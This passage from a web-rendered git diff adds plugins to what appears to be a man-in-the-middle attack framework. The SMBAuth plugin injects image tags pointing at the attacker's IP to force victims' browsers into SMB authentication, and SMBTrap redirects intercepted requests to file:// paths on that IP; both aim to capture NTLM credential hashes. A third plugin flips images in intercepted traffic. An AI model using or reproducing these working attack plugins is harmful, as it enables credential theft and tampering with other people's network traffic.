|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.inject import Inject
|
||||
|
||||
class SMBAuth(Inject, Plugin):
|
||||
name = "SMBAuth"
|
||||
optname = "smbauth"
|
||||
desc = "Evoke SMB challenge-response auth attempts"
|
||||
version = "0.1"
|
||||
|
||||
def initialize(self, options):
|
||||
self.ip = options.ip
|
||||
Inject.initialize(self, options)
|
||||
self.html_payload = self._get_data()
|
||||
|
||||
def _get_data(self):
|
||||
return '<img src=\"\\\\%s\\image.jpg\">'\
|
||||
'<img src=\"file://///%s\\image.jpg\">'\
|
||||
'<img src=\"moz-icon:file:///%%5c/%s\\image.jpg\">' % tuple([self.ip]*3)
|
||||
|
||||
def options(self, options):
|
||||
pass
|
38
plugins/smbtrap.py
Normal file
38
plugins/smbtrap.py
Normal file
@ -0,0 +1,38 @@
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
import random
|
||||
import string
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
|
||||
class SMBTrap(Plugin):
|
||||
name = "SMBTrap"
|
||||
optname = "smbtrap"
|
||||
desc = "Exploits the SMBTrap vulnerability on connected clients"
|
||||
version = "1.0"
|
||||
|
||||
def initialize(self, options):
|
||||
self.ip = options.ip
|
||||
|
||||
def responsestatus(self, request, version, code, message):
|
||||
return {"request": request, "version": version, "code": 302, "message": "Found"}
|
||||
|
||||
def responseheaders(self, response, request):
|
||||
self.clientlog.info("Trapping request to {}".format(request.headers['host']))
|
||||
rand_path = ''.join(random.sample(string.ascii_uppercase + string.digits, 8))
|
||||
response.headers["Location"] = "file://{}/{}".format(self.ip, rand_path)
|
61
plugins/upsidedownternet.py
Normal file
61
plugins/upsidedownternet.py
Normal file
@ -0,0 +1,61 @@
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
from cStringIO import StringIO
|
||||
from plugins.plugin import Plugin
|
||||
from PIL import Image, ImageFile
|
||||
|
||||
class Upsidedownternet(Plugin):
|
||||
name = "Upsidedownternet"
|
||||
optname = "upsidedownternet"
|
||||
desc = 'Flips images 180 degrees'
|
||||
version = "0.1"
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
|
||||
def responseheaders(self, response, request):
|
||||
'''Kill the image skipping that's in place for speed reasons'''
|
||||
if request.isImageRequest:
|
||||
request.isImageRequest = False
|
||||
request.isImage = True
|
||||
self.imageType = response.headers['content-type'].split('/')[1].upper()
|
||||
|
||||
def response(self, response, request, data):
|
||||
try:
|
||||
isImage = getattr(request, 'isImage')
|
||||
except AttributeError:
|
||||
isImage = False
|
||||
|
||||
if isImage:
|
||||
try:
|
||||
#For some reason more images get parsed using the parser
|
||||
#rather than a file...PIL still needs some work I guess
|
||||
p = ImageFile.Parser()
|
||||
p.feed(data)
|
||||
im = p.close()
|
||||
im = im.transpose(Image.ROTATE_180)
|
||||
output = StringIO()
|
||||
im.save(output, format=self.imageType)
|
||||
data = output.getvalue()
|
||||
output.close()
|
||||
self.clientlog.info("Flipped image".format(response.getClientIP()))
|
||||
except Exception as e:
|
||||
self.clientlog.info("Error: {}".format(response.getClientIP(), e))
|
||||
|
||||
return {'response': response, 'request': request, 'data': data}
|
Loading…
x
Reference in New Issue
Block a user